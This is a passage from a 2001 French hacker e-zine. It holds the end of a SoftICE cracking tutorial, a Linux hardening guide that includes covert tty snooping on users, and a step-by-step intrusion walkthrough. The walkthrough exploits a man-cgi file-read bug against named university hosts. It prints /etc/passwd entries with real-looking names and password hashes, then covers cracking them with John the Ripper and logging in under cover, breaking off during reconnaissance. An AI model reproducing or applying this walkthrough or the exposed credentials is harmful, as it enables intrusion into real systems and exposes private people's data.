point d'arrêt sur l'api GetDlgItemTextA BPX 00040000 ; met un point d'arrêt sur l'adresse 00040000 BPX EAX ; met un point d'arrêt sur le registre EAX BL (List current breakpoints) BL pour avoir la liste des points d'arrêt qui sont en cours d'utilisation. BC (Clear breakpoint) BC list | * pour effacer tous les points d'arrêt utilisés BC *, pour effacer qu'un point d'arrêt utilisé BC list dont la liste est donnée par BL (ex: BC 00). BD (Disable Breakpoint) BD list | * pour désactiver tous les points d'arrêt utilisés BD *, pour désactiver qu'un seul point d'arrêt utilisé BD list dont la liste est donnée par BL (ex: BD 00). BE (Enable Breakpoint) BE list | * pour activer tous les points d'arrêt utilisés BE *, pour activer qu'un seul point d'arrêt utilisé BE list dont la liste est donnée par BL (ex: BE 00). Les points d'arrêt sur la mémoire, grâce à eux nous pouvons mettre des points d'arrêt direct sur la mémoire de cette manière nous pouvons savoir quand tel et tel adresse ou registre à tel et tel data. BPM (Breakpoint on Memory) BPM[size] address [R|W|RW|X] [debug register] [IF expression] [DO bp-action] Le paramètre size fait référence au grandeur en bits, Byte, Word, Dword, l'access du programme lui peut être R(read), W(write), RW(read & write), X(execution). La mémoire est un peut plus complexe quand vient le temps de mettre des points d'arrêt, car il faut calculer la mémoire linéaire et non juste le seg:offset original. Pour calculer ceci il vous faudra d'abord utiliser la commande "PAGE", elle s'utilise d'une façon simple "PAGE seg:offset" exemple: PAGE 0030:007004CB ainsi ça retourne la mémoire linéaire qui est 007004CB, dans ce cas si elle est pareille mais dans d'autre cas elle sera différente, ensuite pour mettre le point d'arrêt mémoire il faut faire BPM 0030:addr linéaire. Exemple: BPM 0030:007004CB ; met un point d'arrêt sur la zone mémoire 0030:007004CB Les points d'arrêt sur les interrupteurs, ils sont rarement utilisés mais peuvent être très utiles. Un interrupteur on pourrait dire que c'est des procédures pré écrit interne au processeur, elles ont tout leur rôle à jouer et peuvent être intéressantes quand viens le temps de cracker car beaucoup d'interrupteur sont utilisés sans que l'on ne s'en aperçoit. BPINT (Breakpoint on Interruption) BPINT interruption-number [IF expression] [DO bp-action] Exemple: BPINT 21 AH=00 ; met un point d'arrêt sur l'interruption qui dit au système d'exploitation que le programme présent est terminé et qu'il doit être rendu au programme d'appel. nb: je netterrai un .hlp sur notre site web qui contient tous les interrupteurs. Les points d'arrêt sur les Windows Messages, ce sont des points d'arrêt très important et utile quand nous sommes mal pris. BMSG (Bream on Windows Message) BMSG hwnd [L] [begin-msg [end-msg]] [IF expression] hwnd est le handle de la fenêtre pour avoir tous les hwnd il suffit de taper HWND dans Softice vous aurez ainsi la liste, vous pouvez aussi utiliser HWND programme.exe il vous donnera la liste de sens handle personnel. Pour ceux qui ne connaissent pas c'est quoi un handle et bien c'est des étiquettes numériques données aux objets de façon à les identifiés. Exemple: BMSG 0888 WM_QUIT ; met un point d'arrêt le msg WM_QUIT du handle 0888. nb: pour ceux qui ne connaissent pas les WinMSG je ferrai un petit texte bientôt. Les expressions, elles aident beaucoup à augmenter la précision d'une commande qui supporte le [IF expression], de cette manière nous ne faisons plus que mettre des points d'arrêt sur un api général qui peut être nommer des dizaines de fois, nous pouvons mettre une expression pour augmenter la précision de ce même point d'arrêt et donc n'avoir qua le traiter qu'une seule foi au lieu d'une dizaine de fois. Voici la liste des instructions disponibles: +----------------------------------------------------------------------+ |Opérateur d'indirection | | | | Ex: Description: | | -> ebp->8 retourne le dword pointé par ebp+8) | | . ebx.8 retourne le dword pointé par ebx+8) | | * *ecx retourne la valeur dword pointée par ecx | | @ @eax retourne la valeur pointée par eax | | | +----------------------------------------------------------------------+ |Opérateur mathématique | | | | Description: | | / Division | | % Modulo | | << ou >> Décalage de bits | | ?+ Addition d'un nombre en base décimal | | ?- Soustraction d'un nombre en base décimal | | | +----------------------------------------------------------------------+ |Opérateurs logiques | | | | Description: | | ! NOT logique | | && AND Logique | | || OR Logique | | == Comparaison d'égalité | | != Comparaison d'inégalité | | < Plus petit que | | > Plus grand que | | <= Plus petit que ou égal | | >= Plus grand que ou égal | | | +----------------------------------------------------------------------+ Voici la liste des fonctions disponibles: +----------------------------------------------------------------------+ | Fonction | | | | Description: | | Byte Conversion en Byte. | | Word Conversion en Word | | Dword Conversion en DWord | | Hibyte Conversion en HiByte | | Hiword Conversion en HiWord | | Sword Conversion en Word Signé | | Long Conversion en Long Signé | | WSTR Affiche la chaîne unicode | | Flat Conversion d'une adresse relative à une adresse linéaire.| | | | CFL Carry flag | | PFL Parity flag | | AFL Auxiliary flag | | ZFL Zero flag | | SFL Sign flag | | OFL Overflow flag | | RFL Resume flag | | TFL Trap flag | | DFL Direction flag | | IFL Interrupt flag | | NTFL Nested Task flag | | | | DataAddr Retourne l'adresse du premier élément affiché dans la | | zone de data. | | CodeAddr Retourne l'adresse de la première instruction affichée | | dans la zone de code. | | | | Process Process actif. | | Thread Thread actif. | | | | PID Id du processus actif | | TID Id du thread actif | | | | BPcount Nombre de point d'arrêt activé | | BPtotal Nombre total de point d'arrêt | | BPmiss Nombre de point d'arrêt échoué | | BPindex Index du point d'arrêt actuel | | | +----------------------------------------------------------------------+ Les conditions, elles sont utilisés pour augmenter la précision de la commande. Les 2 tableaux plus hauts nous montrent les expressions et les fonctions que nous pouvons utiliser dans ces conditions. je vais vous faire quelques exemples, ces exemples sont très révélateurs. Exemple: BPX EIP if(EAX==48) && (BPCOUNT==3) ; ce point d'arrêt s'arrêtera au moment que EAX aura 30d (0x48) comme valeur et que ça ferra 3 fois qu'il aura eu cette valeur ci. En conclusion Softice est un outil très précieux quand il s'agit de découvrir les petits secrets des programmes, que les compagnies inventent des protections comme du code encrypté, du code compressé ou du code polymorphique, Softice sera toujours capable de les contourner même avec les nouvelles protections contre Softice je vous en parlerai dans un prochain texte. Tout ce que les compagnies font c'est d'augmenter notre temps de cracking... :. :. .: :::30.Avril.2001::.............................................::Naxis:: .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' < Before each night is done Their plan will be unfurled By the dawning of the sun They'll take over the world > .--. .----------------------------------------------------------------/ /--. | Armoring Slackware / / | | a k a / / 05 | | Roger Cadorette, consultant en sécuritée / / | '------------------------------------------------------------/ /------' '--' Votre premier réflexe en lisant ce titre, sera surement "RIPPEUR, y'a déjà un article paru sur le nom de armoring linux (red hat)," he, oui, je sais, je l'ai lu moi aussi "heye, il avoue sont crime". Je vous l'accorde, beaucoup de sujet traités ici sont aussi approchés dans le text armoring linux original. Mais il existe une différence majeur entre le texte qui suit et son homonyme, alors, que armoring linux se contente de vous dire quoi faire, moi je vous dis en plus comment faire, p-e que Lance Spitzner a manquer de papier virtuel et a voulu raccourcir sa création ( un peu comme dans la nouvelle au prix du papyrus de Isaac Asimov ou Moise raccourcie les 15 milliards d'années de la genese a 7 jour par manque de papier et de volonté d'écrire). Enfin, je suis mauvais joueur moi aussi, car si je voulais discuter de sécurité sur tout ses angles j'aurais un bon bouquin a écrire, je vais me contenter d'une vingtaine de K durant lequel j 'approfondirai 6 grands points de la sécurité sur une workstation linux. je me limiterai aux workstations pour la bonne raison que je cherche pas a vous donnez une formation d'admin réseau, mais simplement quelques trucs pratiques pour vous protégez. Évidemment, il existe (d'apres la légende) des hackers que rien n'arrête, mais les règles suivantes devrais suffire a tenir en respect une grande majorité des dit hackers. Comme les choses évoluent et que mes connaissances augmentes avec le temps, je publierai p-e d'autres articles sur le sujet dans les prochains. Mindkind, mais ne tenez pas cette promesse pour acquise, je le ferais que si j'ai envie de le faire, autrement dit, ce que je fais, je le fais parce que ca me fais plaisir de le faire. bon, j'ai fini de vous écoeurez avec mes explications, passons donc au salon (la théorie). Step 1, Shutdown useless deamons C'est un principe connu, le nombre de possibilités de hacking est proportionnelle au nombre de service qui est offert au public. Évidemment il serait dur de se passer de ftp et de telnet, mais si vous n'offrez aucun service a une communauté quelconque d'usagers, aussi bien ne pas démarrer ceux si, au pire des cas, si jamais vous en avez besoin par la suite, leur re-activation se fera en 1 tour de rein :]. En root taper pico /etc/inetd.conf (si vous avez pas pico, allez installer le package de pine sur linuxmafia.org, pico stun must :]) a pi prennez donc l'editeur qui vous plait, j'en ai rien a cirrer. Commenter (#) les lignes suivantes si ce n'est pas dejas fait, sauf évidemment si vous avez besoin du service (un * indique les lignes qui sont generalement pas # par default): # shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L * # login stream tcp nowait root /usr/sbin/tcpd in.rlogind * # exec stream tcp nowait root /usr/sbin/tcpd in.rexecd # talk dgram udp wait root /usr/sbin/tcpd in.talkd # ntalk dgram udp wait root /usr/sbin/tcpd in.talkd * # klogin stream tcp nowait root /usr/sbin/tcpd rlogind -k # eklogin stream tcp nowait root /usr/sbin/tcpd rlogind -k -x # kshell stream tcp nowait root /usr/sbin/tcpd rshd -k # krbupdate stream tcp nowait root /usr/sbin/tcpd registerd # kpasswd stream tcp nowait root /usr/sbin/tcpd kpasswdd # pop2 stream tcp nowait root /usr/sbin/tcpd in.pop2d # pop3 stream tcp nowait root /usr/sbin/tcpd gnu-pop3d * # pop3 stream tcp nowait root /usr/sbin/tcpd ipop3d # imap2 stream tcp nowait root /usr/sbin/tcpd imapd * # tftp dgram udp wait nobody /usr/sbin/tcpd in.tftpd # bootps dgram udp wait root /usr/sbin/in.bootpd in.bootpd # finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -u * # systat stream tcp nowait nobody /usr/sbin/tcpd /bin/ps -auwwx # netstat stream tcp nowait root /usr/sbin/tcpd /bin/netstat -a # netbios-ssn stream tcp nowait root /usr/sbin/smbd smbd # netbios-ns dgram udp wait root /usr/sbin/nmbd nmbd # rstatd/1-3 dgram rpc/udp wait root /usr/sbin/tcpd rpc.rstatd # rusersd/2-3 dgram rpc/udp wait root /usr/sbin/tcpd rpc.rusersd # walld/1 dgram rpc/udp wait root /usr/sbin/tcpd rpc.rwalld Ensuite nous allons changer telnet pour telnetsnoop. Nous pourrons par la suite, spyer les faits et geste de tout ceux qui se connecterons a notre box. # telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd * telnet stream tcp nowait root /usr/sbin/tcpd in.telnetsnoopd (notez qu'une connection telnetsnoop bouffe plus de ram qu'une connection telnet normal, donc si vous etes avare de votre precieuse ram, oublier cette derniere option.) sauvegarder et quitter, Step 2, ttysnooping la premiere etape est de savoir qui est connecté, vous pouvez obtenir cette information grâce a la commande finger ou who. personnellement je préfère finger qui donne plus d'information (genre l'ip source), mais tout ce que nous avons besoin de savoir pour ttysnoop c le tty utilisé par notre "ami" connecté. et: root@rewter:/home/wyzeman# finger Login Name Tty Idle Login Time Office Office Phone Mindkind tty3 14:38 Jan 15 14:17 root tty1 3 Jan 16 00:55 root tty2 13:21 Jan 15 13:00 wyzeman ttyp0 Jan 16 12:54 (192.168.1.2) root@rewter:/home/wyzeman# who root tty1 Jan 16 00:55 root tty2 Jan 15 13:00 Mindkind tty3 Jan 15 14:17 wyzeman ttyp0 Jan 16 12:54 avantage de who, ca prend moins de place :] par exemple si je voulais surveiller le malveillant wyzeman qui c'est logger, je n'aurais qua tapez de facon décontracté la commande suivante: root@rewter:~# ttysnoop ttyp0 Connected to ttyp0 snoop server... Ctrl+'\' (ASCII 28) to suspend, Ctrl+'-' (ASCII 31) to terminate. Snoop password: /*password root*/ Verified OK... Snoop started. wyzeman@rewter:~$ tout ce que vous taperez dans se tty, sera vu par wyzeman, donc si vous ne voulez pas vous faire remarquer faite gaffe a votre clavier (apres tout s'pas le temps de faire su et de marquer votre password au mauvais moment au mauvais endroit:]) si vous voulez discuter avec votre visiteur, je vous conseil d'ouvrir un éditeur de texte (genre pico), pour éviter les trop nombreux : wyzeman@rewter:~$ salut bash: salut: command not found wyzeman@rewter:~$ si vous voyez ce que je veux dire. Step 3 tcp-wraping le tcp wrapping se fait avec l'aide de 2 fichiers, soit, hosts.deny et hosts.allow c'est avec ces fichiers que l'on va indiquer avec qui on est prêt a négocier. L'école de pensée la plus fréquente veut que l'on renie tout le monde dans le fichier hosts.deny et qu'on indique qui qu'on accepte dans le fichier hosts.allows. alors commençons par le commencement et disons adieu a tout le monde. su pico /etc/hosts.deny ne reste plus qu'a ajouter la lignée suivante dans le fichier ALL:ALL sauvegarder et quitez A maintenant éditons le fichier hosts.allow ALL:LOCAL # pour accepter toute les connections de localhost (vous meme) ALL:192.168.1.1/255.255.255.0 # pour accepter toute les connections d'un réseau local (notez que si # vous etes en masquerading derriere un serveur, c'est plutot useless. # Ca revient a dire, tout le monde peu passer ( puisque l'ip source # se modifie pour l'ip de votre routeur avant d'arriver a vous. in.telnetd,in.ftpd:ALL # accept les connection telnet et ftp venant de partout in.telnetd, in.ftpd:192.168.1.1/255.255.255.0 # pour les connection telnet et ftp venant de votre reseau local vous avez saisi le principe ? la premiere partie indique le service (all pour tout les services) et la 2e parti les ip acceptés (192.168.1.1/255.255.255.0 represente tout le submask que 192.168.1.x) c'est tres pratique lorsque l'on connaît d'avance les ips qui auront a traiter avec notre ordinateur. Pour plus de sécurité si vous possédez plusieurs ordis sur le meme réseau et que vous voulez vous connecter de votre ecole par exemple , bien n'autoriser l'access a votre telnet que d'une 3e machine sur votre réseau (autrement dit, vous vous connectez sur votre rooteur, de votre rooteur a votre tiers ordi, et de celui ci a votre ordi. Comme ca, personne ne pourra utilisé votre rooteur pour atteindre directement votre ordi. in.telnetd: 192.168.1.3 (note: si vous utilisez telnetsnoop au lieu de telnet, remplacez in.telnetd par in.telnetsnoopd . si vous n'etes pas sur des noms de deamons a utiliser referez vous au fichier /etd/inetd.conf) Step 4 ipchains vous savez ce qui est kewl avec ipchains, c'est que vu de loin ca l'air terriblement compliqué, alors que c'est simple comme bonjour, alors en mettant un peu d'efforts on peu rire de ceux qui save pas comment ça marche. Peu importe ce que vous diras man ipchains ou ipchains -h vous avez en gros 4 commande a retenir : ipchains -A pour creer une regle ipchains -D pour effacer une regle ipchains -L pour faire la list de vos regle ipchains -F pour flusher tout vos regles (quand -d ne suffit plus :]) démontrons dès maintenant l'utilité de ipchains -l root@rewter:~# ipchains -L Chain input (policy ACCEPT): target prot opt source destination ports DENY icmp ------ anywhere anywhere any -> any ACCEPT udp ------ anywhere anywhere 27927 -> any ACCEPT udp ------ anywhere anywhere 29727 -> any ACCEPT udp ------ anywhere anywhere domain -> any ACCEPT udp ------ anywhere anywhere 4000 -> any DENY udp ------ anywhere anywhere 1:1024 -> any DENY udp ------ anywhere anywhere 2000:35535 -> any ACCEPT tcp ------ anywhere anywhere ftp -> any ACCEPT tcp ------ anywhere anywhere telnet -> any ACCEPT tcp ------ anywhere anywhere www -> any ACCEPT tcp ------ anywhere anywhere auth -> any ACCEPT tcp ------ anywhere anywhere 1024:5000 -> any ACCEPT tcp ------ anywhere anywhere 6660:6667 -> any DENY tcp ------ anywhere anywhere 2:1023 -> any DENY tcp ------ anywhere anywhere 10001:35535 -> any Chain forward (policy DENY): target prot opt source destination ports MASQ all ------ anywhere anywhere n/a Chain output (policy ACCEPT): il existe 3 lois chaine principales pour ipchains: input, forward, output input = ce qui rentre forward = ce que vous faites passer output = ce qui sort si vous voulez faire du masquerading caster tout de suite cette rulez: ipchains -A forward -j MASQ ce qui veut dire, ipchains creer une loi (A) dans la chaine forward qui va faire du masquerading (-j MASQ). Bon ben maintenant que nous sommes rendu des gros ingenieur reseau full hot on va diriger le trafic :] ipchains -A input -p icmp -j DENY ipchains -A input --sport 27927 -p udp -j ACCEPT ipchains -A input --sport 29727 -p udp -j ACCEPT ipchains -A input --sport 53 -p udp -j ACCEPT ipchains -A input --sport 4000 -p udp -j ACCEPT ipchains -A input --sport 1:1024 -p udp -j DENY ipchains -A input --sport 2000:35535 -p udp -j DENY ipchains -A input --sport 21 -p tcp -j ACCEPT ipchains -A input --sport 23 -p tcp -j ACCEPT ipchains -A input --sport 80 -p tcp -j ACCEPT ipchains -A input --sport 113 -p tcp -j ACCEPT ipchains -A input --sport 1024:5000 -p tcp -j ACCEPT ipchains -A input --sport 6660:6667 -p tcp -j ACCEPT ipchains -A input --sport 2:1023 -p tcp -j DENY ipchains -A input --sport 5001:35535 -p tcp -j DENY ce sont les lois qui ont créé ce que vous a démontré plus haut la commande ipchains -L. Décortiquons on peu ce qu'elles veulent dire: ipchains -A input -p icmp -j DENY ipchains crée une loi(-A) pour ce qui rentre (input( qui refusera (-j deny) le protocole icmp (-p icmp) comme aucun port ou ip n'est spécifié ipchains prend par défaut tout (tout les ip et tout le port ne laisse pas entrer le icmp). ipchains -A input --sport 27927 -p udp -j ACCEPT ipchains -A input --sport 29727 -p udp -j ACCEPT on voit ici que j'aime jouer a quake2, ipchains laisse passer tout ce qui est du protocol udp sur les port 27927 et 29727. contrairement a tcp-wrap on doit indiquer ce qu'on laisse passer avant ce qu'on ne veut pas laisser passer (donc par la suite on voit que je ferme tout les port udp, mais en réalité, tout ceux que j'ai dit de laisser passer avant demeureront ouvert. c'est vrai aussi pour l'inverse, si je fermerais les port au début, j'aurais beau faire 400 loi pour les ouvrir après, ils resteraient fermés. Vous pouvez aussi décider d'être plus sélectif sur vos loi en indiquant un ip, ou un range de ip particulier. ca sert généralement a donner des privilèges supérieurs a certain usager de votre réseau. ou a en rendre la progression un peu plus compliquer a l'intérieur de votre réseau. On peut décider a quel ip la loi va s'appliquer avec la commande suivante. ipchains -A input --source 192.168.1.1/192.168.1.10 23 -p tcp -j DENY cette règle bloquera toute les tentatives de connexions a votre serveur, a partir des poste de travaille 192.168.1.1 a 192.168.1.10 seul les postes de travaille avec un ip plus haut que 192.168.1.10 pourraient alors se connecter au telnet. Step 5 Show me the log petit truc avant de terminer afin de pouvoir toujours garder un oeil sur les connexion qui se font sur votre pc et/ou votre serveur. en root taper : tail -f /var/log/messages vous aurez ainsi un beau display des connexions qui se feront sur votre ordi. Si vous voulez être uber elite, vous pouvez inclure la commande suivante dans votre fichier /etc/inittab qui permettra d'effectuer le meme effet au démarrage de votre machine (usefull dans le cas d'un serveur) 1:2345:respawn:/usr/bin/tail -f /var/log/messages (1 représente le tty voulu (vous pouvez changer pour celui que vous voulez (tty = l'écran de sorti (genre alt-f1 alt-f2 etc.)))) Step 6 ftp, la porte d'entrée principale la plus par des distributions linux, vienne avec un gros défaut, un ftpd aux allures de passoire. il existe 2 trucs simples pour sécuriser votre ftpd, 1 limiter sont accès au user qui en on vraiment besoin, et 2 en mettre un moins standard afin d'éviter de tomber dans les mains de quelqu'un qui vous scannerait par hazard a la recherche un ftpd comme le votre, oserais-je dire wu-ftpd 2.6.0 ? La première étape, étant de limiter le nombre de user ayant accès a votre ftp, et de limiter l'importance de ceux ci,(c'est a dire qu'on a pas besoin d'être root pour transférer des fichiers, donc on peu empêcher le root de se connecter par ftp (ici on voit en grosse l'etre lumineuse (BRUTE FORCING). dirigeons nous donc dans notre fichier /etc/ftpuser . NOTER que ce fichier sert a déterminer les users qui N'ONT PAS DROIT d'accès au ftp, et non le contraire comme sont nom pourrais induire en erreur. Voici ce que contient mon fichier /etc/ftpuser : # # ftpusers This file describes the names of the users that may # _*NOT*_ log into the system via the FTP server. # This usually includes "root", "uucp", "news" and the # like, because those users have too much power to be # allowed to do "just" FTP... # # Version: @(#)/etc/ftpusers 2.00 04/30/93 # # Author: Fred N. van Kempen, si vous avez ca, c'est signe que j'explique pas trop mal :] sinon, allez lire la doc en anglais sur le site :] maintenant si vous êtes satisfait du produit installons le de façon plus permanente. Éditez votre fichier /etc/inittab et ajouter a la fin ce qui suit. # ncftpd nc:2345:respawn:/usr/local/etc/ncftpd/ncftpd -q /usr/local/etc/ncftpd/general.cf /usr/local/etc/ncftpd/domain.cf # end of /etc/inittab Au prochain démarrage, ncftpd se lancera tout seul. maintenant voyons comment ajouter des nouveau user, dans fait appelle a la commande linux adduser. ceci se fera facilement avec laide de la commande de ncftpd ncftpd_passwd mais au paravent vous devez éditer, dans domaine.cf quel liste de user/pass vous voulez utiliser, /etc/passwd est la par défaut, vous pouvez le gardez et rajouter /usr/local/etc/ncftpd/passwd.db . Vous pouvez aussi ne garder que la liste de user que vous crerez vous meme pour votre ftp et flusher /etc/passwd, il sagit d'un choix personnelle, évidemment flusher la reference a /etc/passwd est plus secure, mais si vous avez faite votre job dans /etc/ftpusers la garder vous éviteras de refaire un travaille déjà faite. vous pourrez donc ajouter des usagers ensuite grâce a la commande suivante: bash-2.04# ./ncftpd_passwd -f passwd.db -c -a "wyzeman:billybob:1010:110:moimeme:/home/ftp/wyzeman:/bin/bash" et modifier les mots de passe de la facon suivante :] New password for wyzeman: Verify password for wyzeman: Password changed for user wyzeman. bash-2.04# vous voici donc avec un ftp sécuritaire, vous voici prêt a allez écoeurer le monde sans vous faire toaster (sauf si vous tomber sur quelqu'un qui en sait plus que la plus par des prétendants hackers :], jespere pouvoir vous revenir dans le #2 avec quelques trucs supplémentaires. d'ici la, enjoy the ride and dont play with match Wyzeman .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' < when the linerec:// werks : Mindkind radio! 216.113.38.3:8000 > [ Thanx to ExPl0iTeD ] .--. .----------------------------------------------------------------/ /--. | Root for rent / / | | a k a / / 06 | | how can the root get so fat? / / | '------------------------------------------------------------/ /------' '--' Aujourd'hui, vous aller apprendre comment hacker étape par étape. Si vous ne comprenez pas cette article, veuiller donner votre pc a une personne plus compétente que vous (exemple: moi, ou un hamster). C'est a dire que le texte qui suis est en fait très simple il qu'il vous suffit de suivre la méthode étape par étape pour réaliser votre rêve, devenir root d'une machine coréenne linux servant de sous-verre (C'est comme un cd de sympatico en fait). Pourquoi avoir un shell me direz vous ? Premièrement, c'est moins forçant que d'installer et configurer linux soit même (pour lâche seulement) ou ca peux vous servir a installer une multitude de programme pouvant vous servir pour des hack futur sans pour autant compromettre votre sécurité puisque les programmes seront exécutés en remote sur une machine qui n'est pas la votre. Commencons par le plus simple, trouver la box coréenne de nos rêves. N.B. :je ne prétends pas donner de recettes miracles fonctionnant avec toute les box ni donner LA seul facon d'hacker, c'est avant tout un hack éducatif servant a démontrer une facon de pirater une box sans trop se casser la tete et sans trop posséder de skillz d'élite... Where is the box? ================= Nous allons pénétrer la box par un bug cgi. Ces bugs sont assés simples a comprendre et a exploiter et surtout ne demande pas de compilation d'exploits sur un shell ( dans la mesure ou nous ne possedont qu'une machine Win9x et aucun contact avec des propriétaires sympa de box linux ou bsb ). Nous devons nous trouver un exploit facile a comprendre pour notre pauvre petit cerveau et surtout des box exploitables par ce meme trou de sécurité. Pour cela nous visiterons le site NightBird (http://www.nightbird.fr.st ) a la recherche de bug cgi récents. Une faille semble intéressante (disponible au http://www.nightbirdfr.com/index2.php?pg=./exploits/man-cgi.txt). Simple a réaliser, elle permet de visionner n'importe quel fichier sur la machine possédant le cgi. Exemple (ripper de la doc): http://www.ntua.gr/cgi-bin/man-cgi?%20/etc/hosts%20 affiche # # Internet host table # 127.0.0.1 localhost #147.102.222.210 achilles.noc.ntua.gr achilles 147.102.222.210 achilles.noc.ntua.gr achilles 147.102.222.211 patroklos.noc.ntua.gr patroklos 147.102.222.230 ulysses.noc.ntua.gr ulysses # Required for backup 147.102.222.250 menelaos.noc.ntua.gr menelaos Vous comprenez ? C'est en fait tres simple. Le cgi nous permet de lire un fichier sur la box. Comme nous ne voulons pas hacker de grec mais bien un coréen. il nous faudra trouver une box coreeene. Pour cela, nous utiliserons le logiciel webfurret de la société furretsoft (www.furretsoft.com). Nous lancerons une recherche sous la requête (l'url comprends /cgi-bin/man-cgi ) voila le genre de box que nous cherchons: http://censored.university.ac.kr/cgi-bin/man-cgi? Webfurret ========= le logiciel qui nous sert a faire la recherche de box vulnérable est en fait asser simple d'utilisation. Il permet de rechercher sur plusieurs engin de recherche a la fois ( il ne vaut pas google) mais il possede en revanche une fonction tres intéressante. Il permet de recherche si l'url contient tel mot. Exemple: il nous dresse la liste de tout les sites ayant man-cgi d'installer. Il suffit de lancer la recherche avec les options "Exact Phrase" , "Only search the page URL" et "Remove duplicate hosts". entra entra! ============ youhou le departement de math d'une universite coréeene nous ouvre ses portes. Nous recuperons le /etc/passwd avec opera spoofer avec multiproxy (www.multiproxy.org) http://censored.university.ac.kr/cgi-bin/man-cgi?/etc/passwd ykang:oP1vJG­PuGLwoE:523:300:Hyuk Je Kang:/home/ugrad/hykang:/bin/bash jwjo:C9sP4AitWRy72:524:300:Jae Wan Jo:/home/ugrad/jwjo:/bin/bash jhim:MelSxA03R48OI:525:300:Jeong-Hyo Im:/home/ugrad/jhim:/bin/bash jochon:MHUbT2dy3vw7M:526:300:Jung Ok Chon:/home/ugrad/jochon:/bin/bash sbyang:DHncJ4DWZwTKk:527:300:Seung Bun Yang:/home/ugrad/sbyang:/bin/bash etc... Nous decryptons le le mot de passe avec john the ripper (plusieurs docs sur le net et dans les zines informez-vous ) Nous avons maintenant access a la box Now get the root lamah! ======================= Nous entrons sur la box avec un spoof donner par un telnet gateway (nous ne possedons pas encore de shell, donc ne ne pouvons pas prendre de shell hacker pour nous spoofer, de toute facon je conseille fortement de prendre un telnet gateway a moins que vous ne possediez un root avec backdoor sur un box qui ne conserve pas de logs) on telnet la box et... l'écran suivant apparait ALZZA Linux on an i686 Warning: your telnet session will be sending and receiving unencrypted login/password and session information over the network. login: nous entrons le login ykang que john the ripper a decrypter Password: nous entrons le mot de passe donné par john ( c'est normal que vous ne voyez pas de ***** comme en windows, linux ne marque rien tout simplement lorsque vous appuyer sur les touches.) ------------------------ ¾Ë ¸² ---------------------------------------- 2001³â 1¿ù 31ÀÏÀÚ·Î ¼öÇаúÀÇ ¼­¹ö(math)ÀÇ ½Ã½ºÅÛÀÌ ¹Ù²î¾ú½À´Ï´Ù. ¿¹ÀüÀÇ °èÁ¤°ú ¾ÏÈ£¸¦ ±×´ë·Î »ç¿ëÇÒ ¼ö ÀÖÀ¸³ª ºü¸¥ ½ÃÀϳ»¿¡ ¾÷µ¥ÀÌÆ® Çϱ⠹ٶø´Ï´Ù. ÀÌ¿¡ ´ëÇØ ÃÖ¼ö¾È ±º(soochoi@censured.university.ac.kr)°ú »óÀÇÇϱ⠹ٶø´Ï´Ù. »õ·Î¿î ½Ã½ºÅÛÀÇ »ç¾çÀº ´ÙÀ½°ú °°½À´Ï´Ù. CPU: AMD 700MHz HD: 40GB MEM: 128MB SWAP: 128MB OS: Linux Kernel Version 2.2 ±×¸®°í Àü¿¡ °°ÀÌ »ç¿ëÇÏ´ø euler¶õ À̸§À» »ç¿ëÇÏÁö ¾Ê°í math¶ó´Â È£½ºÆ® À̸§ ¸¸À» »ç¿ëÇϱâ·Î ÇÏ¿´½À´Ï´Ù. ÀÌ Á¡¿¡ Âø¿À ¾ø±â ¹Ù¶ø´Ï´Ù. 2001³â 1¿ù 31ÀÏ ------------------------------------------------------------------------- bash$ Nous apprenons ici que l'ordinateur possede un micro-processeur amd de 700MHz, un disque dur de 40 gigs et 128 megs de RAM. Nous pouvons aussi remarquer la laideur des caracteres coreeen pour toute ordinateur non-adapté a cette écriture. Nous voyons aussi le prompt "bash$" qui est l'endroit ou nous devons entrer les commandes. Si vous ne connaissez pas le systeme que vous venez de pirater, la fonction help fais souvent apparaitre un menu d'aide. bash$ help GNU bash, version 1.14.7(1) Shell commands that are defined internally. Type `help' to see this list. Type `help name' to find out more about the function `name'. Use `info bash' to find out more about the shell in general. A star (*) next to a name means that the command is disabled. %[DIGITS | WORD] [&] . filename : [ arg... ] alias [ name[=value] ... ] bg [job_spec] bind [-lvd] [-m keymap] [-f filena break [n] builtin [shell-builtin [arg ...]] case WORD in [PATTERN [| PATTERN]. cd [dir] command [-pVv] [command [arg ...]] continue [n] declare [-[frxi]] name[=value] ... dirs [-l] echo [-neE] [arg ...] enable [-n] [name ...] eval [arg ...] exec [ [-] file [redirection ...]] exit [n] export [-n] [-f] [name ...] or exp fc [-e ename] [-nlr] [first] [last fg [job_spec] for NAME [in WORDS ... ;] do COMMA function NAME { COMMANDS ; } or NA getopts optstring name [arg] hash [-r] [name ...] help [pattern ...] history [n] [ [-awrn] [filename]] if COMMANDS; then COMMANDS; [ elif jobs [-lnp] [jobspec ...] | jobs - kill [-s sigspec | -sigspec] [pid let arg [arg ...] local name[=value] ... logout popd [+n | -n] pushd [dir | +n | -n] pwd read [-r] [name ...] readonly [-n] [-f] [name ...] or r return [n] select NAME [in WORDS ... ;] do CO set [--abefhknotuvxldHCP] [-o opti shift [n] source filename suspend [-f] test [expr] times trap [arg] [signal_spec] type [-all] [-type | -path] [name typeset [-[frxi]] name[=value] ... ulimit [-SHacdfmstpnuv [limit]] umask [-S] [mode] unalias [-a] [name ...] unset [-f] [-v] [name ...] until COMMANDS; do COMMANDS; done variables - Some variable names an wait [n] while COMMANDS; do COMMANDS; done { COMMANDS } donc vous pouvez en profiter pour récupérer de la doc sur l'OS. La commande ? fonctionne aussi si help venait a vous faire défaut. Bon, maintenant nous devons rooter cette foutu box si nous voulons passer inapercu. bash$ uname -a Linux censured.university.ac.kr 2.2.16-3.az #1 Fri Jul 21 14:24:01 KST 2000 i686 unknown Nous savons maintenant que cette box possede le kernel 2.2.16-3 de Linux. Pour les services tournant sur la machine, nous pouvons nous référer au fichier /etc/inetd.conf que nous pouvons faire apparaitre a l'aide de la commande cat /etc/inetd.conf . bash$ cat /etc/inetd.conf # # inetd.conf This file describes the services that will be available # through the INETD TCP/IP super server. To re-configure # the running INETD process, edit this file, then send the # INETD process a SIGHUP signal. # # Version: @(#)/etc/inetd.conf 3.10 05/27/93 # # Authors: Original taken from BSD UNIX 4.3/TAHOE. # Fred N. van Kempen, # # Modified for Debian Linux by Ian A. Murdock # # Modified for RHS Linux by Marc Ewing # Modified for ALZZA Linux by Man-Yong Lee # # # # Echo, discard, daytime, and chargen are used primarily for testing. # # To re-read this file after changes, just do a 'killall -HUP inetd' # echo stream tcp nowait root internal echo dgram udp wait root internal discard stream tcp 